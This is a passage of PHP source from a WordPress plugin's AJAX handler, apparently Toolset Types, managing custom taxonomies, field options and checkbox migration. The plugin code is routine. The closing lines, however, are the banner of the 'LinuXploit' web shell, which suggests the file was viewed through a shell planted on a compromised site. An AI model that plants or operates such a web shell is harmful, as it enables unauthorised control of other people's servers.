                    && isset( $taxonomy_data['supports'][$post_type])
                ) {
                    $custom_taxonomies[$taxonomy_key]['supports'][$key] = 1;
                }
            }
            update_option(WPCF_OPTION_NAME_CUSTOM_TAXONOMIES, $custom_taxonomies);

			wp_send_json(array(
                'execute' => 'reload',
                'wpcf_nonce_ajax_callback' => wp_create_nonce('execute'),
            ));
        }
        break;

    case 'taxonomy_duplicate':
        $custom_taxonomy = wpcf_ajax_helper_get_taxonomy();
        if ( empty($custom_taxonomy) ) {
            wpcf_ajax_helper_print_error_and_die();
        }
        $custom_taxonomies = get_option(WPCF_OPTION_NAME_CUSTOM_TAXONOMIES, array());
        $i = 0;
        $key = false;
        do {
            $key = sprintf($custom_taxonomy.'-%d',++$i);
        } while( isset($custom_taxonomies[$key]) );
        if ( $key ) {
            /**
             * duplicate custom taxonomies
             */
            $custom_taxonomies[$key] = $custom_taxonomies[$custom_taxonomy];

            /**
             * update some options
             */
            $custom_taxonomies[$key]['labels']['name'] .= sprintf(' (%d)', $i);
            $custom_taxonomies[$key]['labels']['singular_name'] .= sprintf(' (%d)', $i);
            $custom_taxonomies[$key]['slug'] = $key;
            $custom_taxonomies[$key]['id'] = $key;
            $custom_taxonomies[$key]['__types_id'] = $key;

            /**
             * update custom taxonomies
             */
            update_option(WPCF_OPTION_NAME_CUSTOM_TAXONOMIES, $custom_taxonomies);

            /**
             * update post types
             */
            if (
                isset( $custom_taxonomies[$key]['supports'] )
                && is_array($custom_taxonomies[$key]['supports'])
                && !empty($custom_taxonomies[$key]['supports'])
            ) {
                $custom_types = $post_type_option->get_post_types();
                foreach( array_keys($custom_taxonomies[$key]['supports']) as $custom_type ) {
                    /**
                     * avoid to create fake CPT from old data
                     */
                    if ( !isset($custom_types[$custom_type])) {
                        continue;
                    }
                    if ( !isset($custom_types[$custom_type]['taxonomies']) ) {
                        $custom_types[$custom_type]['taxonomies'] = array();
                    }
                    $custom_types[$custom_type]['taxonomies'][$key] = 1;
                }

                /**
                 * update post types
                 */
                update_option(WPCF_OPTION_NAME_CUSTOM_TYPES, $custom_types);
            }
			wp_send_json(array(
                'execute' => 'reload',
                'wpcf_nonce_ajax_callback' => wp_create_nonce('execute'),
            ));
        }
        break;

    case 'deactivate_taxonomy':
        $custom_taxonomy = wpcf_ajax_helper_get_taxonomy();
        if ( empty($custom_taxonomy) ) {
            wpcf_ajax_helper_print_error_and_die();
        }
        $custom_taxonomies = get_option(WPCF_OPTION_NAME_CUSTOM_TAXONOMIES, array());
        if (!isset($custom_taxonomies[$custom_taxonomy]) || !isset( $custom_taxonomies[$custom_taxonomy]['supports'] ) ) {
            $taxonomy = get_taxonomy($custom_taxonomy);
            $supports = array();
            if (is_object($taxonomy )) {
                if( ! empty( $taxonomy->object_type ) ) {
                    foreach( $taxonomy->object_type as $support_post ) {
                        $supports[$support_post] = 1;
                    }
                }
                $custom_taxonomies[$custom_taxonomy] = array(
                    'slug' => $taxonomy->name,
                    'labels' => array(
                        'singular_name' => $taxonomy->labels->singular_name,
                        'name' => $taxonomy->labels->name,
                    ),
                    'supports' => $supports,
                    'type' => '_builtin',
                    '_builtin' => true,
                );
            } else {
                wpcf_ajax_helper_print_error_and_die();
            }
        }
        if ( wpcf_is_builtin_taxonomy($custom_taxonomy) ) {
            $custom_taxonomies[$custom_taxonomy]['type'] = '_builtin';
            $custom_taxonomies[$custom_taxonomy]['_builtin'] = true;
        }
        $custom_taxonomies[$custom_taxonomy]['disabled'] = 1;
        $custom_taxonomies[$custom_taxonomy][TOOLSET_EDIT_LAST] = time();
        update_option(WPCF_OPTION_NAME_CUSTOM_TAXONOMIES, $custom_taxonomies);
		wp_send_json(
            array(
                'output' => __('Taxonomy deactivated', 'wpcf'),
                'execute' => 'reload',
                'wpcf_nonce_ajax_callback' => wp_create_nonce('execute'),
            )
        );
        break;

    case 'activate_taxonomy':
        $custom_taxonomy = wpcf_ajax_helper_get_taxonomy();
        if ( empty($custom_taxonomy) ) {
            wpcf_ajax_helper_print_error_and_die();
        }
        $custom_taxonomies = get_option(WPCF_OPTION_NAME_CUSTOM_TAXONOMIES, array());
        if (!isset($custom_taxonomies[$custom_taxonomy])) {
            $taxonomy = get_taxonomy($custom_taxonomy);
            if (is_object($taxonomy )) {
                $custom_taxonomies[$custom_taxonomy] = array(
                    'slug' => $taxonomy->name,
                    'labels' => array(
                        'singular_name' => $taxonomy->labels->singular_name,
                    ),
                    'type' => '_builtin',
                    '_builtin' => true,
                );
            } else {
                wpcf_ajax_helper_print_error_and_die();
            }
        }
        if ( wpcf_is_builtin_taxonomy($custom_taxonomy) ) {
            $custom_taxonomies[$custom_taxonomy]['type'] = '_builtin';
            $custom_taxonomies[$custom_taxonomy]['_builtin'] = true;
        }
        $custom_taxonomies[$custom_taxonomy]['disabled'] = 0;
        $custom_taxonomies[$custom_taxonomy][TOOLSET_EDIT_LAST] = time();
        update_option(WPCF_OPTION_NAME_CUSTOM_TAXONOMIES, $custom_taxonomies);
		wp_send_json(
            array (
                'output' => __('Taxonomy activated', 'wpcf'),
                'execute' => 'reload',
                'wpcf_nonce_ajax_callback' => wp_create_nonce('execute'),
            )
        );
        break;

    case 'delete_taxonomy':
        $custom_taxonomy = wpcf_ajax_helper_get_taxonomy();
        if ( empty($custom_taxonomy) ) {
            wpcf_ajax_helper_print_error_and_die();
        }
        $custom_taxonomies = get_option(WPCF_OPTION_NAME_CUSTOM_TAXONOMIES, array());
        unset($custom_taxonomies[$custom_taxonomy]);
        update_option(WPCF_OPTION_NAME_CUSTOM_TAXONOMIES, $custom_taxonomies);
        wpcf_admin_deactivate_content('taxonomy', $custom_taxonomy);

        // on group edit page
        if( isset( $_GET['wpcf_ref'] ) ) {

            $redirect = $_GET['wpcf_ref'] == 'dashboard'
                ? admin_url( 'admin.php?page=toolset-dashboard' )
                : admin_url( 'admin.php?page=wpcf-ctt' );

			wp_send_json(
                array(
                    'output' => '',
                    'execute' => 'redirect',
                    'wpcf_redirect' => $redirect,
                    'wpcf_nonce_ajax_callback' => wp_create_nonce('execute'),
                )
            );
            // on listing page
        } else {
			wp_send_json(
                array(
                    'output' => '',
                    'execute' => 'reload',
                    'wpcf_nonce_ajax_callback' => wp_create_nonce('execute'),
                )
            );
        }


        break;

    case 'add_radio_option':
        /**
         * check required data
         */
        if (
            !isset($_GET['parent_name'] )
            || !isset($_GET['wpcf_ajax_update_add'] )
        ) {
            wpcf_ajax_helper_print_error_and_die();
        }
        require_once WPCF_INC_ABSPATH . '/fields/radio.php';
        $value = esc_html(urldecode($_GET['parent_name']));
        $element = wpcf_fields_radio_get_option($value);
        $id = array_shift($element);
        $element_txt = wpcf_fields_radio_get_option_alt_text($id, $value);
		wp_send_json(
            array(
                'output' => wpcf_form_simple($element),
                'execute' => 'append',
                'append_target' => '#wpcf-form-groups-radio-ajax-response-'. esc_html(urldecode($_GET['wpcf_ajax_update_add'])),
                'append_value' => trim(preg_replace('/[\r\n]+/', '', wpcf_form_simple($element_txt))),
                'wpcf_nonce_ajax_callback' => wp_create_nonce('execute'),
            )
        );
        break;

    case 'add_select_option':
        /**
         * check required data
         */
        if ( !isset($_GET['parent_name'] )) {
            wpcf_ajax_helper_print_error_and_die();
        }
        require_once WPCF_INC_ABSPATH . '/fields/select.php';
        $element = wpcf_fields_select_get_option(esc_html(urldecode($_GET['parent_name'])));
		wp_send_json(array(
            'output' => wpcf_form_simple($element)
        ));
        break;

    case 'add_checkboxes_option':
        /**
         * check required data
         */
        if ( !isset($_GET['parent_name'] )) {
            wpcf_ajax_helper_print_error_and_die();
        }
        require_once WPCF_INC_ABSPATH . '/fields/checkboxes.php';
        $value = esc_html(urldecode($_GET['parent_name']));
        $element = wpcf_fields_checkboxes_get_option($value);
		wp_send_json(array(
            'output' => wpcf_form_simple($element),
            'wpcf_nonce_ajax_callback' => wp_create_nonce('execute'),
        ));
        break;

    case 'group_form_collapsed':
        require_once WPCF_INC_ABSPATH . '/fields-form.php';
        $group_id = sanitize_text_field($_GET['group_id']);
        $action = sanitize_text_field($_GET['toggle']);
        $fieldset = sanitize_text_field($_GET['id']);
        wpcf_admin_fields_form_save_open_fieldset($action, $fieldset,
            $group_id);
        break;

    case 'form_fieldset_toggle':
        $action = sanitize_text_field($_GET['toggle']);
        $fieldset = sanitize_text_field($_GET['id']);
        wpcf_admin_form_fieldset_save_toggle($action, $fieldset);
        break;

    case 'fields_delete':
    case 'delete_field':
        require_once WPCF_INC_ABSPATH . '/fields.php';
        if (isset($_GET['field_id'])) {
            wpcf_admin_fields_delete_field(sanitize_text_field($_GET['field_id']));
        }
        if (isset($_GET['field'])) {
            wpcf_admin_fields_delete_field(sanitize_text_field($_GET['field']));
        }
		wp_send_json(array(
            'output' => ''
        ));
        break;

    case 'remove_from_history':
        require_once WPCF_INC_ABSPATH . '/fields.php';
        $fields = wpcf_admin_fields_get_fields();
        if (isset($_GET['field_id']) && isset($fields[$_GET['field_id']])) {
            $fields[$_GET['field_id']]['data']['removed_from_history'] = 1;
            wpcf_admin_fields_save_fields($fields, true);
        }
		wp_send_json(array(
            'output' => ''
        ));
        break;

    case 'add_condition':
        require_once WPCF_INC_ABSPATH . '/fields.php';
        require_once WPCF_ABSPATH . '/includes/conditional-display.php';
        if (!empty($_GET['field']) || !empty($_GET['group'])) {
            $data = array();
            if (isset($_GET['group'])) {
                $output = wpcf_form_simple(wpcf_cd_admin_form_single_filter(array(),
                    array(), null, true));
				wp_send_json(array(
                    'output' => $output,
                ));
            } else {
                $data['id'] = str_replace('_conditional_display', '',
                    sanitize_text_field($_GET['field']));
                $output = wpcf_form_simple(wpcf_cd_admin_form_single_filter($data,
                    array(), null, false));
                if (!empty($data['id'])) {
					wp_send_json(array(
                        'output' => $output,
                    ));
                } else {
                    wpcf_ajax_helper_print_error_and_die();
                }
            }
        } else {
            wpcf_ajax_helper_print_error_and_die();
        }
        break;

    case 'pt_edit_fields':
        if (!empty($_GET['parent']) && !empty($_GET['child'])) {
            require_once WPCF_INC_ABSPATH . '/fields.php';
            require_once WPCF_INC_ABSPATH . '/post-relationship.php';
            wpcf_pr_admin_edit_fields(sanitize_text_field($_GET['parent']), sanitize_text_field($_GET['child']));
        }
        break;

    case 'toggle':
        $option = get_option('wpcf_toggle', array());
        $hidden = isset($_GET['hidden']) ? (bool) $_GET['hidden'] : 1;
        $div = esc_html(strval($_GET['div']));
        if (!$hidden) {
            unset($option[$div]);
        } else {
            $option[$div] = 1;
        }
        update_option('wpcf_toggle', $option);
        break;

    case 'cb_save_empty_migrate':
        $output = sprintf(
            '<span style="color:red;">%s</div>',
            __('Migration process is not yet finished - please save group first, then change settings of this field.', 'wpcf')
        );
        if (isset($_GET['field']) && isset($_GET['subaction'])) {
            require_once WPCF_INC_ABSPATH . '/fields.php';
            $option = $_GET['meta_type'] == 'usermeta' ? 'wpcf-usermeta' : 'wpcf-fields';
            $meta_type = sanitize_text_field($_GET['meta_type']);
            $field = wpcf_admin_fields_get_field(sanitize_text_field($_GET['field']), false, false,
                false, $option);

            $_txt_updates = $meta_type == 'usermeta' ? __( '%d users require update', 'wpcf' ) : __( '%d posts require update', 'wpcf' );
            $_txt_no_updates = $meta_type == 'usermeta' ? __('No users require update', 'wpcf') : __('No posts require update', 'wpcf');
            $_txt_updated = $meta_type == 'usermeta' ? __('Users updated', 'wpcf') : __('Posts updated', 'wpcf');

            if (!empty($field)) {
                if ($_GET['subaction'] == 'save_check'
                    || $_GET['subaction'] == 'do_not_save_check') {
                        if ($field['type'] == 'checkbox') {
                            $posts = wpcf_admin_fields_checkbox_migrate_empty_check($field,
                                $_GET['subaction']);
                        } else if ($field['type'] == 'checkboxes') {
                            $posts = wpcf_admin_fields_checkboxes_migrate_empty_check($field,
                                $_GET['subaction']);
                        }
                        if (!empty($posts)) {
                            $output = '<div class="message updated"><p>'
                                . sprintf($_txt_updates, count($posts)) . '&nbsp;'
                                . '<a href="javascript:void(0);" class="button-primary" onclick="'
                                . 'wpcfCbSaveEmptyMigrate(jQuery(this).parent().parent().parent(), \''
                                . sanitize_text_field($_GET['field']) . '\', '
                                . count($posts) . ', \''
                                . wp_create_nonce('cb_save_empty_migrate') . '\', \'';
                            $output .= $_GET['subaction'] == 'save_check' ? 'save' : 'do_not_save';
                            $output .= '\', \'' . $meta_type . '\');'
                                . '">'
                                . __('Update', 'wpcf') . '</a>' . '</p></div>';
                        } else {
                            $output = '<div class="message updated"><p><em>'
                                . $_txt_no_updates . '</em></p></div>';
                        }
                    } else if ($_GET['subaction'] == 'save'
                        || $_GET['subaction'] == 'do_not_save') {
                            if ($field['type'] == 'checkbox') {
                                $posts = wpcf_admin_fields_checkbox_migrate_empty($field,
                                    $_GET['subaction']);
                            } else if ($field['type'] == 'checkboxes') {
                                $posts = wpcf_admin_fields_checkboxes_migrate_empty($field,
                                    $_GET['subaction']);
                            }
                            if (isset($posts['offset'])) {
                                if (!isset($_GET['total'])) {
                                    $output = '<span style="color:red;">'.__('Error occured', 'wpcf').'</div>';
                                } else {
                                    $output = '<script type="text/javascript">wpcfCbMigrateStep('
                                        . intval($_GET['total']) . ','
                                        . $posts['offset'] . ','
                                        . '\'' . sanitize_text_field($_GET['field']) . '\','
                                        . '\'' . wp_create_nonce('cb_save_empty_migrate')
                                        . '\', \'' . $meta_type . '\');</script>'
                                        . number_format($posts['offset'])
                                        . '/' . number_format(intval($_GET['total']))
                                        . '<div class="wpcf-ajax-loading-small"></div>';
                                }
                            } else {
                                $output = sprintf(
                                    '<div class="message updated"><p>%s</p></div>',
                                    $_txt_updated
                                );
                            }
                        }
            }
        }
		wp_send_json(array(
            'output' => $output,
        ));
        break;

    default:
    	$fallthrough = true;
        break;
    }

    // We need this to be able to catch some (partially refactored) AJAX callback handlers at the proper time
	// (in Types_Ajax).
    if( ! $fallthrough ) {
		die();
	}

	return $fallthrough;
}

function wpcf_ajax_helper_get_taxonomy()
{
    if (!isset($_GET['wpcf-tax']) || empty($_GET['wpcf-tax'])) {
        return false;
    }
    $taxonomy = $_GET['wpcf-tax'];
    require_once WPCF_INC_ABSPATH . '/custom-taxonomies.php';
    $custom_taxonomies = get_option(WPCF_OPTION_NAME_CUSTOM_TAXONOMIES, array());
    if (
        isset($custom_taxonomies[$taxonomy])
        && isset($custom_taxonomies[$taxonomy]['slug'])
    ) {
        return $custom_taxonomies[$taxonomy]['slug'];
    }
    $taxonomy = get_taxonomy($taxonomy);
    if ( is_object($taxonomy) ) {
        return $taxonomy->name;
    }
    return false;
}

function wpcf_ajax_helper_get_post_type()
{
    if (!isset($_REQUEST['wpcf-post-type']) || empty($_REQUEST['wpcf-post-type'])) {
        return false;
    }
    require_once WPCF_INC_ABSPATH . '/custom-types.php';
	$post_type_option = new Types_Utils_Post_Type_Option();
    $custom_types = $post_type_option->get_post_types();
    if (
        isset($custom_types[$_REQUEST['wpcf-post-type']])
        && isset($custom_types[$_REQUEST['wpcf-post-type']]['slug'])
    ) {
        return $custom_types[$_REQUEST['wpcf-post-type']]['slug'];
    }
    return false;
}

function wpcf_ajax_helper_print_error_and_die()
{
	wp_send_json(array(
        'output' => __('Missing required data.', 'wpcf'),
    ));
}

function wpcf_ajax_helper_verification_failed_and_die()
{
	wp_send_json(array(
        'output' => __('Verification failed.', 'wpcf'),
    ));
}

Youez - 2016 - github.com/yon3zu
LinuXploit